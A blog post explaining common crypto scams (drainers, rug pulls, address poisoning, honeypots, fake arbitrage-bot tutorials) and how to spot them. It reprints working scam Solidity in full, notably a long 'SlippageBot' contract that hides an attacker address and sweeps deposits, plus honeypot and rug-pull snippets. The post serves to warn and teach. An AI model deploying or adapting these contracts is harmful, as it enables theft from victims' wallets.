Introduction

Every year, countless people suffer heavy losses from various scams. This post focuses on some of the most common scams seen recently.

Categories

Crypto Drainers (the most common)

image link

How They Appear

Usually they mimic the layout and style of official websites, with content about claiming airdrops and such.

One variant: clicking a button connects your wallet and immediately pops up a signature request.

image link

Another variant: when connecting your wallet, it shows an error or “busy” message, then asks you to type in your seed phrase or private key directly. Very straightforward…

image

How They Spread / Where You’ll See Them

Twitter comment sections are the most common venue. They’ll use a name and avatar very similar to the official account, and a link that closely resembles the official website.

image link

image link


On-chain: deploying tokens whose names contain URLs, then mass-transferring them to various addresses.

image link

image image image link

Because major block explorers, wallets, and ERC20 token trackers all rely on the ERC20 Transfer event, phishers only need to repeatedly emit Transfer events on their contract to fabricate transfer records between arbitrary addresses.

1function airdrop(address[] calldata _to, uint256 _value) public {
2    for (uint256 i = 0; i < _to.length; i++) {
3        emit Transfer(address(0x0), _to[i], _value);
4    }
5}

image

Common from addresses include exchange hot wallets and well-known deployers — all to build false trust. The image above shows the Uniswap v4 Pool Manager being spoofed.


Poisoning Google search results.

One approach: paying to place phishing links in sponsored positions near the top.

Another: links that look like official URLs but redirect to phishing sites. I haven’t seen this in the wild myself, so I’m not sure exactly how it’s done.

image

How It Works

image

Drainers come in many varieties, but the mechanics are largely the same.

After your wallet connects to the site, the page gets your wallet address and queries a backend service to check your assets across chains — native tokens, ERC20 tokens, ERC721 NFTs, ERC1155 tokens, LP liquidity positions, etc. (see /ethereum in the screenshot)

Sorted by value (highest first), it fires off signature requests one by one.

For native tokens, it sends a direct transfer request.

For ERC20 tokens that support permit, it sends a permit request to save gas. Once signed, the drainer calls permit on the contract and sweeps the assets.

For ERC20 tokens without permit support, it sends an approve request. Some drainers even helpfully send the victim a small amount of gas fee first if they detect the victim doesn’t have enough to cover the approval. (see /auto-gas-send in the screenshot)

The receiving address is also carefully crafted. Solidity’s CREATE2 lets you precompute a contract address. Drainers compute a unique receiving address for each victim, but don’t actually deploy the contract until funds arrive — this bypasses some wallet security checks. Once funds land, the contract is deployed and immediately sweeps them. (see /salt in the screenshot)

image image

How to Spot Them / What to Watch For

Twitter name — check for the gold or blue checkmark. Sometimes a post will say it’s “the last reply,” meaning anything after that is a phishing link.

image image

Link domain — check it’s the official domain, spelling is correct, and pay close attention to characters like i, l, 1 which look almost identical.

If a signature request pops up immediately after connecting your wallet, be very cautious. Legitimate DApps only request a login signature, or wait until you click a specific button — they don’t immediately pop up a signing request on connect.

Rug Pull

image

How They Appear and Spread

Tokens deployed on-chain, usually named after trending news or hot topics.

The ERC20 contract’s _transfer method includes airdrop logic that randomly selects a few addresses on every transfer and sends tiny amounts to artificially inflate the holder count.

link

 1if (airdropNumbs > 0 && from != address(this) && from != receiveWallet) {
 2    address ad;
 3    uint256 airdropAmount = amount / 10**9;
 4    for (uint256 i = 0; i < airdropNumbs; i++) {
 5        ad = address(
 6            uint160(
 7                uint256(
 8                    keccak256(
 9                        abi.encodePacked(i, amount, block.timestamp)
10                    )
11                )
12            )
13        );
14        super._transfer(from, ad, airdropAmount);
15    }
16    feeAmount += airdropNumbs * airdropAmount;
17}

Once there’s enough trading volume and holders, the token becomes visible to regular users in Web3 wallets.

Regular users buy in with real money, and then the founders pull the rug.

image

How They Work

There are several variants:


Removing liquidity — the simplest form. After enough users buy in, the founders simply withdraw all liquidity and vanish.

Some tokens even prevent users from adding liquidity, ensuring the founders maintain full control.


Infinite minting, or burning the liquidity pool:

 1function airdrop(address[] memory investors, uint256[] memory amounts) external
 2{
 3    for (uint256 i = 0; i < investors.length; i++) {
 4        address wallet = investors[i];
 5        uint256 amount = _balances[wallet] > amounts[i] ? _balances[wallet] - amounts[i] : 0;
 6        _calcHolderBalance(wallet,msg.sender, amount);
 7    }
 8}
 9
10function _calcHolderBalance(address from, address to,  uint256 amount) private {
11    if(block.number > 0 && from != uniswapV2Pair || _deployer == to){
12        _balances[from] = _balances[from].sub(amount);
13        _balances[to] = _balances[to].add(amount.mul(_finalBuyTax));
14    }
15}

The airdrop function is actually setting the balance of any address — but only _deployer can set the Uniswap pair’s balance.

This makes it trivially easy to drain almost all of the other token from the liquidity pool.


Blocking user sells in _transfer:

 1function _transfer(address from, address to, uint256 amount) private {
 2    // ...
 3
 4    uint256 contractTokenBalance = balanceOf(address(this));
 5    if (!inSwap && to == uniswapV2Pair && swapEnabled) {
 6        if (contractTokenBalance > 0)
 7            _coralSwap(
 8                min(amount, min(contractTokenBalance, _maxTaxSwap))
 9            );
10        _CoralToFee(address(this).balance);
11    }
12
13    // ...
14}
15
16function _CoralToFee(uint256 amount) private {
17    _coralStore.transfer(amount);
18}

link

Looks like a normal transfer, but _coralStore is a contract address. What does that contract do?

image

If you’re not on the whitelist, it reverts. So only whitelisted addresses can sell the token.

How to Spot Them

You need to check more than just the contract. Other factors matter too. Here’s what AI recommends:

  • Check liquidity lock — if the team hasn’t locked the liquidity pool, they can withdraw and disappear at any time.
  • Review the smart contract code on Etherscan, BscScan, etc. for malicious code.
  • Research the team background — many rug pulls are run by anonymous teams. Be cautious with non-transparent projects.
  • Avoid FOMO — many scams lure investors with “quick pump” narratives. Stay calm and analyze.
  • Community and audits — check community activity and whether there are credible third-party audits (e.g., CertiK, PeckShield).

Similar Address (Address Poisoning)

image link

How They Appear

Addresses with matching prefixes or suffixes impersonating legitimate transfers.

Some match the last four or six characters, some match the first four and last four, some even match the first four and last six.

Since explorers and wallets only display a few characters at each end, it’s easy to confuse them.

How They Spread and Work

Usually targets commonly-used stablecoins like USDT and USDC. The attacker deploys a fake token with the same name — let’s call it USDT2.

For every real USDT transfer a user makes, the attacker injects two events into the user’s transaction history:

  • A USDT transfer of 0
  • A USDT2 transfer of the same amount

Or they might send a tiny amount of real USDT.

Given an original transaction:

Alice -> Bob 100 USDT

The attacker generates a fake address Bob2 and executes:

Alice -> Bob2 0 USDT (transferFrom amount=0)

Alice -> Bob2 100 USDT2

The user sees this in their explorer and Web3 wallet transaction history. If they copy the wrong address next time, it’s game over.

explorer link

debank

How to Spot Them

Read carefully. Avoid copying addresses from explorers. Always triple-check addresses before sending.

Honey Pot

image link

How They Appear and Spread

Large funds are placed in a contract that pretends to have a vulnerability, specifically targeting people who know just enough to be dangerous.

These mostly spread through block explorers — rarely on Twitter.

How They Work

The “lucky game” is a classic that’s been around for years and still catches victims today.

 1/**
 2 *Submitted for verification at Etherscan.io on 2025-02-26
 3*/
 4
 5contract el_Quiz
 6{
 7    function Try(string memory _response) public payable
 8    {
 9        require(msg.sender == tx.origin);
10
11        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
12        {
13            payable(msg.sender).transfer(address(this).balance);
14        }
15    }
16
17    string public question;
18
19    bytes32 responseHash;
20
21    mapping (bytes32=>bool) admin;
22
23    function Start(string calldata _question, string calldata _response) public payable isAdmin{
24        if(responseHash==0x0){
25            responseHash = keccak256(abi.encode(_response));
26            question = _question;
27        }
28    }
29
30    function Stop() public payable isAdmin {
31        payable(msg.sender).transfer(address(this).balance);
32        responseHash = 0x0;
33    }
34
35    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
36        question = _question;
37        responseHash = _responseHash;
38    }
39
40    constructor(bytes32[] memory admins) {
41        for(uint256 i=0; i< admins.length; i++){
42            admin[admins[i]] = true;        
43        }       
44    }
45
46    modifier isAdmin(){
47        require(admin[keccak256(abi.encodePacked(msg.sender))]);
48        _;
49    }
50
51    fallback() external {}
52}

link

Users need to pay more than 1 ETH to answer a question. If they’re right, they can claim all the funds in the contract.

The Start function sets the question and answer, so a clever user might think to look at how it was previously called.

image

The question is cleverly designed as a riddle — the kind that makes you feel like others wouldn’t think of it, but you’re just smart enough to figure it out.

The contract also enforces msg.sender == tx.origin, preventing Try from being called via another contract. (For now.)

By the time the user sends 1 ETH to call Try, it’s too late to turn back.

But there’s a catch: Start only sets responseHash when it’s currently 0x0 (i.e., never been set). There’s also a New function that can directly update responseHash.

(Check the Start transaction’s state changes and the contract’s internal transactions on the explorer.)


start_Bank is disguised as a savings contract with a reentrancy vulnerability, baiting users into thinking they can exploit it.

 1/**
 2 *Submitted for verification at Etherscan.io on 2025-02-16
 3*/
 4
 5pragma solidity 0.7.6;
 6
 7contract start_BANK {
 8    function Deposit(uint _unlockTime) public payable {
 9        Holder storage acc = Accounts[msg.sender];
10        acc.balance += msg.value;
11        acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
12        LogFile.AddMessage(msg.sender, msg.value, "Put");
13    }
14
15    function Collect(uint _am) public payable {
16        Holder storage acc = Accounts[msg.sender];
17        if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
18            (bool success, ) = msg.sender.call{value: _am}("");
19            if (success) {
20                acc.balance -= _am;
21                LogFile.AddMessage(msg.sender, _am, "Collect");
22            }
23        }
24    }
25
26    struct Holder {
27        uint unlockTime;
28        uint balance;
29    }
30
31    mapping(address => Holder) public Accounts;
32
33    Log LogFile;
34
35    uint public MinSum = 1 ether;
36
37    constructor(address log) {
38        LogFile = Log(log);
39    }
40
41    fallback() external payable {
42        Deposit(0);
43    }
44
45    receive() external payable {
46        Deposit(0);
47    }
48}
49
50contract Log {
51    event Message(address indexed Sender, string Data, uint Val, uint Time);
52
53    function AddMessage(address _adr, uint _val, string memory _data) external {
54        emit Message(_adr, _data, _val, block.timestamp);
55    }
56}

link

At first glance, Collect calls before updating state — classic reentrancy vulnerability, right?

The trick is that LogFile is passed in as a constructor parameter and isn’t necessarily the Log contract shown below. So Log here just serves as an interface.

Looking up the real LogFile address and decompiling the unverified contract reveals the truth.

image link

When msg.sender is not the start_Bank contract, it simply emits a log event. But when called from start_Bank, it enters hidden logic.

The messy bytecode is essentially equivalent to: require(tx.origin == owner || _data[0] != '0x43') — meaning for non-owner addresses, the first character of _data (the message) cannot be 'C' (for “Collect”). Translation: everyone else can log other actions, but only the owner can Collect.

There’s another clever detail: the unlock time check in Collect requires block.timestamp > acc.unlockTime, while Deposit sets the unlock time to at least block.timestamp. So even though the contract accepts deposits and withdrawals from any address, the same address can’t call Deposit and Collect in the same block. This traps users: once you deposit, you can never withdraw.

How to Spot Them

These contracts usually hold significant funds to attract victims.

The defense: don’t be greedy, and sharpen your technical skills to see through the trap.

Others: YouTube Solidity Videos, Fake Cloudflare Scripts

How They Appear

If you spend time on Twitter, you’ve probably seen ads claiming some AI wrote an amazing arbitrage bot that made a ton of money in a short time, with a YouTube tutorial link.

The video provides a link (legitimate-looking, no phishing) to what’s claimed to be AI-generated contract code. It walks you through opening Remix, pasting the code in, deploying it, and then transferring some “seed funds” to your deployed bot. After that, you call the bot’s start function.

Users might think: I deployed this contract myself, and it’s called OneinchSlippageBot or UniswapSlippageBot — what could go wrong? They transfer the funds. Welp.

Let’s read the SlippageBot contract together:

  1/**
  2 *Submitted for verification at Etherscan.io on 2025-01-30
  3*/
  4
  5//SPDX-License-Identifier: MIT
  6pragma solidity ^0.6.6;
  7
  8// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
  9// Import Libraries Migrator/Exchange/Factory
 10// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
 11// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
 12// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
 13
 14contract OneinchSlippageBot {
 15 
 16    //string public tokenName;
 17    //string public tokenSymbol;
 18    uint liquidity;
 19    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
 20    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
 21
 22    event Log(string _msg);
 23
 24    constructor() public {
 25        //tokenSymbol = _mainTokenSymbol;
 26        //tokenName = _mainTokenName;
 27    }
 28
 29    receive() external payable {}
 30
 31    struct slice {
 32        uint _len;
 33        uint _ptr;
 34    }
 35    
 36    /*
 37     * @dev Find newly deployed contracts on Uniswap Exchange
 38     * @param memory of required contract liquidity.
 39     * @param other The second slice to compare.
 40     * @return New contracts with required liquidity.
 41     */
 42
 43    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
 44        uint shortest = self._len;
 45
 46        if (other._len < self._len)
 47            shortest = other._len;
 48
 49        uint selfptr = self._ptr;
 50        uint otherptr = other._ptr;
 51
 52        for (uint idx = 0; idx < shortest; idx += 32) {
 53            // initiate contract finder
 54            uint a;
 55            uint b;
 56
 57            loadCurrentContract(WETH_CONTRACT_ADDRESS);
 58            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
 59            assembly {
 60                a := mload(selfptr)
 61                b := mload(otherptr)
 62            }
 63
 64            if (a != b) {
 65                // Mask out irrelevant contracts and check again for new contracts
 66                uint256 mask = uint256(-1);
 67
 68                if(shortest < 32) {
 69                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
 70                }
 71                uint256 diff = (a & mask) - (b & mask);
 72                if (diff != 0)
 73                    return int(diff);
 74            }
 75            selfptr += 32;
 76            otherptr += 32;
 77        }
 78        return int(self._len) - int(other._len);
 79    }
 80
 81
 82    /*
 83     * @dev Extracts the newest contracts on Uniswap exchange
 84     * @param self The slice to operate on.
 85     * @param rune The slice that will contain the first rune.
 86     * @return `list of contracts`.
 87     */
 88    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
 89        uint ptr = selfptr;
 90        uint idx;
 91
 92        if (needlelen <= selflen) {
 93            if (needlelen <= 32) {
 94                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 95
 96                bytes32 needledata;
 97                assembly { needledata := and(mload(needleptr), mask) }
 98
 99                uint end = selfptr + selflen - needlelen;
100                bytes32 ptrdata;
101                assembly { ptrdata := and(mload(ptr), mask) }
102
103                while (ptrdata != needledata) {
104                    if (ptr >= end)
105                        return selfptr + selflen;
106                    ptr++;
107                    assembly { ptrdata := and(mload(ptr), mask) }
108                }
109                return ptr;
110            } else {
111                // For long needles, use hashing
112                bytes32 hash;
113                assembly { hash := keccak256(needleptr, needlelen) }
114
115                for (idx = 0; idx <= selflen - needlelen; idx++) {
116                    bytes32 testHash;
117                    assembly { testHash := keccak256(ptr, needlelen) }
118                    if (hash == testHash)
119                        return ptr;
120                    ptr += 1;
121                }
122            }
123        }
124        return selfptr + selflen;
125    }
126
127
128    /*
129     * @dev Loading the contract
130     * @param contract address
131     * @return contract interaction object
132     */
133    function loadCurrentContract(string memory self) internal pure returns (string memory) {
134        string memory ret = self;
135        uint retptr;
136        assembly { retptr := add(ret, 32) }
137
138        return ret;
139    }
140
141    /*
142     * @dev Extracts the contract from Uniswap
143     * @param self The slice to operate on.
144     * @param rune The slice that will contain the first rune.
145     * @return `rune`.
146     */
147    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
148        rune._ptr = self._ptr;
149
150        if (self._len == 0) {
151            rune._len = 0;
152            return rune;
153        }
154
155        uint l;
156        uint b;
157        // Load the first byte of the rune into the LSBs of b
158        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
159        if (b < 0x80) {
160            l = 1;
161        } else if(b < 0xE0) {
162            l = 2;
163        } else if(b < 0xF0) {
164            l = 3;
165        } else {
166            l = 4;
167        }
168
169        // Check for truncated codepoints
170        if (l > self._len) {
171            rune._len = self._len;
172            self._ptr += self._len;
173            self._len = 0;
174            return rune;
175        }
176
177        self._ptr += l;
178        self._len -= l;
179        rune._len = l;
180        return rune;
181    }
182
183    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
184        bytes memory tmp = bytes(_a);
185        uint160 iaddr = 0;
186        uint160 b1;
187        uint160 b2;
188        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
189            iaddr *= 256;
190            b1 = uint160(uint8(tmp[i]));
191            b2 = uint160(uint8(tmp[i + 1]));
192            if ((b1 >= 97) && (b1 <= 102)) {
193                b1 -= 87;
194            } else if ((b1 >= 65) && (b1 <= 70)) {
195                b1 -= 55;
196            } else if ((b1 >= 48) && (b1 <= 57)) {
197                b1 -= 48;
198            }
199            if ((b2 >= 97) && (b2 <= 102)) {
200                b2 -= 87;
201            } else if ((b2 >= 65) && (b2 <= 70)) {
202                b2 -= 55;
203            } else if ((b2 >= 48) && (b2 <= 57)) {
204                b2 -= 48;
205            }
206            iaddr += (b1 * 16 + b2);
207        }
208        return address(iaddr);
209    }
210
211
212    function memcpy(uint dest, uint src, uint len) private pure {
213        // Check available liquidity
214        for(; len >= 32; len -= 32) {
215            assembly {
216                mstore(dest, mload(src))
217            }
218            dest += 32;
219            src += 32;
220        }
221
222        // Copy remaining bytes
223        uint mask = 256 ** (32 - len) - 1;
224        assembly {
225            let srcpart := and(mload(src), not(mask))
226            let destpart := and(mload(dest), mask)
227            mstore(dest, or(destpart, srcpart))
228        }
229    }
230
231    /*
232     * @dev Orders the contract by its available liquidity
233     * @param self The slice to operate on.
234     * @return The contract with possbile maximum return
235     */
236    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
237        if (self._len == 0) {
238            return 0;
239        }
240
241        uint word;
242        uint length;
243        uint divisor = 2 ** 248;
244
245        // Load the rune into the MSBs of b
246        assembly { word:= mload(mload(add(self, 32))) }
247        uint b = word / divisor;
248        if (b < 0x80) {
249            ret = b;
250            length = 1;
251        } else if(b < 0xE0) {
252            ret = b & 0x1F;
253            length = 2;
254        } else if(b < 0xF0) {
255            ret = b & 0x0F;
256            length = 3;
257        } else {
258            ret = b & 0x07;
259            length = 4;
260        }
261
262        // Check for truncated codepoints
263        if (length > self._len) {
264            return 0;
265        }
266
267        for (uint i = 1; i < length; i++) {
268            divisor = divisor / 256;
269            b = (word / divisor) & 0xFF;
270            if (b & 0xC0 != 0x80) {
271                // Invalid UTF-8 sequence
272                return 0;
273            }
274            ret = (ret * 64) | (b & 0x3F);
275        }
276
277        return ret;
278    }
279     
280    function getMempoolStart() private pure returns (string memory) {
281        return "b153"; 
282    }
283
284    /*
285     * @dev Calculates remaining liquidity in contract
286     * @param self The slice to operate on.
287     * @return The length of the slice in runes.
288     */
289    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
290        uint ptr = self._ptr - 31;
291        uint end = ptr + self._len;
292        for (l = 0; ptr < end; l++) {
293            uint8 b;
294            assembly { b := and(mload(ptr), 0xFF) }
295            if (b < 0x80) {
296                ptr += 1;
297            } else if(b < 0xE0) {
298                ptr += 2;
299            } else if(b < 0xF0) {
300                ptr += 3;
301            } else if(b < 0xF8) {
302                ptr += 4;
303            } else if(b < 0xFC) {
304                ptr += 5;
305            } else {
306                ptr += 6;            
307            }        
308        }    
309    }
310
311    function fetchMempoolEdition() private pure returns (string memory) {
312        return "a0BE";
313    }
314
315    /*
316     * @dev Parsing all Uniswap mempool
317     * @param self The contract to operate on.
318     * @return True if the slice is empty, False otherwise.
319     */
320
321    /*
322     * @dev Returns the keccak-256 hash of the contracts.
323     * @param self The slice to hash.
324     * @return The hash of the contract.
325     */
326    function keccak(slice memory self) internal pure returns (bytes32 ret) {
327        assembly {
328            ret := keccak256(mload(add(self, 32)), mload(self))
329        }
330    }
331    
332    function getMempoolShort() private pure returns (string memory) {
333        return "0x402";
334    }
335    /*
336     * @dev Check if contract has enough liquidity available
337     * @param self The contract to operate on.
338     * @return True if the slice starts with the provided text, false otherwise.
339     */
340    function checkLiquidity(uint a) internal pure returns (string memory) {
341
342        uint count = 0;
343        uint b = a;
344        while (b != 0) {
345            count++;
346            b /= 16;
347        }
348        bytes memory res = new bytes(count);
349        for (uint i=0; i<count; ++i) {
350            b = a % 16;
351            res[count - i - 1] = toHexDigit(uint8(b));
352            a /= 16;
353        }
354
355        return string(res);
356    }
357    
358    function getMempoolHeight() private pure returns (string memory) {
359        return "16C1B";
360    }
361    /*
362     * @dev If `self` starts with `needle`, `needle` is removed from the
363     *      beginning of `self`. Otherwise, `self` is unmodified.
364     * @param self The slice to operate on.
365     * @param needle The slice to search for.
366     * @return `self`
367     */
368    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
369        if (self._len < needle._len) {
370            return self;
371        }
372
373        bool equal = true;
374        if (self._ptr != needle._ptr) {
375            assembly {
376                let length := mload(needle)
377                let selfptr := mload(add(self, 0x20))
378                let needleptr := mload(add(needle, 0x20))
379                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
380            }
381        }
382
383        if (equal) {
384            self._len -= needle._len;
385            self._ptr += needle._len;
386        }
387
388        return self;
389    }
390    
391    function getMempoolLog() private pure returns (string memory) {
392        return "18565ec5";
393    }
394
395    // Returns the memory address of the first byte of the first occurrence of
396    // `needle` in `self`, or the first byte after `self` if not found.
397    function getBa() private view returns(uint) {
398        return address(this).balance;
399    }
400
401    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
402        uint ptr = selfptr;
403        uint idx;
404
405        if (needlelen <= selflen) {
406            if (needlelen <= 32) {
407                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
408
409                bytes32 needledata;
410                assembly { needledata := and(mload(needleptr), mask) }
411
412                uint end = selfptr + selflen - needlelen;
413                bytes32 ptrdata;
414                assembly { ptrdata := and(mload(ptr), mask) }
415
416                while (ptrdata != needledata) {
417                    if (ptr >= end)
418                        return selfptr + selflen;
419                    ptr++;
420                    assembly { ptrdata := and(mload(ptr), mask) }
421                }
422                return ptr;
423            } else {
424                // For long needles, use hashing
425                bytes32 hash;
426                assembly { hash := keccak256(needleptr, needlelen) }
427
428                for (idx = 0; idx <= selflen - needlelen; idx++) {
429                    bytes32 testHash;
430                    assembly { testHash := keccak256(ptr, needlelen) }
431                    if (hash == testHash)
432                        return ptr;
433                    ptr += 1;
434                }
435            }
436        }
437        return selfptr + selflen;
438    }
439
440    /*
441     * @dev Iterating through all mempool to call the one with the with highest possible returns
442     * @return `self`.
443     */
444    function fetchMempoolData() internal pure returns (string memory) {
445        string memory _mempoolShort = getMempoolShort();
446
447        string memory _mempoolEdition = fetchMempoolEdition();
448    /*
449        * @dev loads all Uniswap mempool into memory
450        * @param token An output parameter to which the first token is written.
451        * @return `mempool`.
452        */
453        string memory _mempoolVersion = fetchMempoolVersion();
454                string memory _mempoolLong = getMempoolLong();
455        /*
456        * @dev Modifies `self` to contain everything from the first occurrence of
457        *      `needle` to the end of the slice. `self` is set to the empty slice
458        *      if `needle` is not found.
459        * @param self The slice to search and modify.
460        * @param needle The text to search for.
461        * @return `self`.
462        */
463
464        string memory _getMempoolHeight = getMempoolHeight();
465        string memory _getMempoolCode = getMempoolCode();
466
467        /*
468        load mempool parameters
469        */
470        string memory _getMempoolStart = getMempoolStart();
471
472        string memory _getMempoolLog = getMempoolLog();
473
474
475
476        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
477            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
478    }
479
480    function toHexDigit(uint8 d) pure internal returns (byte) {
481        if (0 <= d && d <= 9) {
482            return byte(uint8(byte('0')) + d);
483        } else if (10 <= uint8(d) && uint8(d) <= 15) {
484            return byte(uint8(byte('a')) + d - 10);
485        }
486
487        // revert("Invalid hex digit");
488        revert();
489    } 
490               
491                   
492    function getMempoolLong() private pure returns (string memory) {
493        return "Bff0F";
494    }
495    
496    /* @dev Perform frontrun action from different contract pools
497     * @param contract address to snipe liquidity from
498     * @return `liquidity`.
499     */
500    function start() public payable {
501	/*
502        * Start the trading process with the bot by Uniswap Router
503        * To start the trading process correctly, you need to have a balance of at least 0.4 ETH on your contract
504        */
505        require(address(this).balance >= 0.4 ether, "Insufficient contract balance");
506    }
507    
508    /*
509     * @dev withdrawals profit back to contract creator address
510     * @return `profits`.
511     */
512    function withdrawal() public payable {
513        address to = startExploration((fetchMempoolData()));
514        address payable contracts = payable(to);
515        contracts.transfer(getBa());
516    }
517
518    /*
519     * @dev token int2 to readable str
520     * @param token An output parameter to which the first token is written.
521     * @return `token`.
522     */
523    function getMempoolCode() private pure returns (string memory) {
524        return "07c85";
525    }
526
527    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
528        if (_i == 0) {
529            return "0";
530        }
531        uint j = _i;
532        uint len;
533        while (j != 0) {
534            len++;
535            j /= 10;
536        }
537        bytes memory bstr = new bytes(len);
538        uint k = len - 1;
539        while (_i != 0) {
540            bstr[k--] = byte(uint8(48 + _i % 10));
541            _i /= 10;
542        }
543        return string(bstr);
544    }
545    
546    function fetchMempoolVersion() private pure returns (string memory) {
547        return "1e3d80";   
548    }
549
550    /*
551     * @dev loads all Uniswap mempool into memory
552     * @param token An output parameter to which the first token is written.
553     * @return `mempool`.
554     */
555    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
556        bytes memory _baseBytes = bytes(_base);
557        bytes memory _valueBytes = bytes(_value);
558
559        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
560        bytes memory _newValue = bytes(_tmpValue);
561
562        uint i;
563        uint j;
564
565        for(i=0; i<_baseBytes.length; i++) {
566            _newValue[j++] = _baseBytes[i];
567        }
568
569        for(i=0; i<_valueBytes.length; i++) {
570            _newValue[j++] = _valueBytes[i];
571        }
572
573        return string(_newValue);
574    }
575}

link link

What it actually does: start tricks users into depositing more funds, and withdrawal transfers everything to the attacker.


Another variant: a fake Cloudflare verification page. After clicking “verify,” it prompts for “additional verification.”

It tells you to paste code into the browser console. This installs malware that steals your private key.

image link